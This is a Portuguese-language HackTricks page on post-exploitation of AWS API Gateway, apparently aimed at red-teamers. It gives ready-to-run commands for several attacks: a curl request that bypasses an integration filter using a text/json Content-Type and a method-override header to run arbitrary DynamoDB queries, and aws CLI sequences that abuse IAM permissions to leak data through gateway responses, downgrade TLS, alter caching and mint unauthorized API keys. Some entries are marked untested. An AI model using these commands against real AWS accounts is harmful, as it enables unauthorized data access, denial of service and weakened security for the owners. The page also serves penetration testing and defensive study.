AWS - API Gateway Pós Exploração
Reading time: 7 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
API Gateway
Para mais informações, consulte:
Acessar APIs não expostas
Você pode criar um endpoint em https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint com o serviço com.amazonaws.us-east-1.execute-api
, expor o endpoint em uma rede onde você tenha acesso (potencialmente via uma máquina EC2) e atribuir um grupo de segurança permitindo todas as conexões.
Então, a partir da máquina EC2, você poderá acessar o endpoint e, portanto, chamar a API do gateway que não estava exposta anteriormente.
Bypass do corpo da requisição
Esta técnica foi encontrada em este writeup de CTF.
Conforme indicado na documentação da AWS na seção PassthroughBehavior
, por padrão, o valor WHEN_NO_MATCH
, ao verificar o cabeçalho Content-Type da requisição, passará a requisição para o back end sem transformação.
Portanto, no CTF, o API Gateway tinha um template de integração que estava impedindo que a flag fosse exfiltrada em uma resposta quando uma requisição era enviada com Content-Type: application/json
:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
No entanto, enviar uma solicitação com Content-type: text/json
impediria esse filtro.
Finalmente, como o API Gateway estava permitindo apenas Get
e Options
, era possível enviar uma consulta arbitrária do dynamoDB sem nenhum limite, enviando uma solicitação POST com a consulta no corpo e usando o cabeçalho X-HTTP-Method-Override: GET
:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Planos de Uso DoS
Na seção Enumeração, você pode ver como obter o plano de uso das chaves. Se você tiver a chave e ela estiver limitada a X usos por mês, você pode apenas usá-la e causar um DoS.
A API Key só precisa ser incluída dentro de um cabeçalho HTTP chamado x-api-key
.
apigateway:UpdateGatewayResponse
, apigateway:CreateDeployment
Um atacante com as permissões apigateway:UpdateGatewayResponse
e apigateway:CreateDeployment
pode modificar uma Resposta de Gateway existente para incluir cabeçalhos personalizados ou modelos de resposta que vazam informações sensíveis ou executem scripts maliciosos.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto Potencial: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
nota
Necessita de teste
apigateway:UpdateStage
, apigateway:CreateDeployment
Um atacante com as permissões apigateway:UpdateStage
e apigateway:CreateDeployment
pode modificar um estágio existente do API Gateway para redirecionar o tráfego para um estágio diferente ou alterar as configurações de cache para obter acesso não autorizado a dados em cache.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto Potencial: Acesso não autorizado a dados em cache, interrompendo ou interceptando o tráfego da API.
nota
Necessita de teste
apigateway:PutMethodResponse
, apigateway:CreateDeployment
Um atacante com as permissões apigateway:PutMethodResponse
e apigateway:CreateDeployment
pode modificar a resposta do método de um método REST API existente do API Gateway para incluir cabeçalhos personalizados ou templates de resposta que vazam informações sensíveis ou executem scripts maliciosos.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto Potencial: Vazamento de informações sensíveis, execução de scripts maliciosos ou acesso não autorizado a recursos da API.
nota
Necessita de teste
apigateway:UpdateRestApi
, apigateway:CreateDeployment
Um atacante com as permissões apigateway:UpdateRestApi
e apigateway:CreateDeployment
pode modificar as configurações da API Gateway REST API para desativar o registro ou alterar a versão mínima do TLS, potencialmente enfraquecendo a segurança da API.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto Potencial: Enfraquecimento da segurança da API, permitindo potencialmente acesso não autorizado ou expondo informações sensíveis.
note
Necessita de teste
apigateway:CreateApiKey
, apigateway:UpdateApiKey
, apigateway:CreateUsagePlan
, apigateway:CreateUsagePlanKey
Um atacante com permissões apigateway:CreateApiKey
, apigateway:UpdateApiKey
, apigateway:CreateUsagePlan
e apigateway:CreateUsagePlanKey
pode criar novas chaves de API, associá-las a planos de uso e, em seguida, usar essas chaves para acesso não autorizado às APIs.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Impacto Potencial: Acesso não autorizado a recursos da API, contornando controles de segurança.
nota
Necessita de teste
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.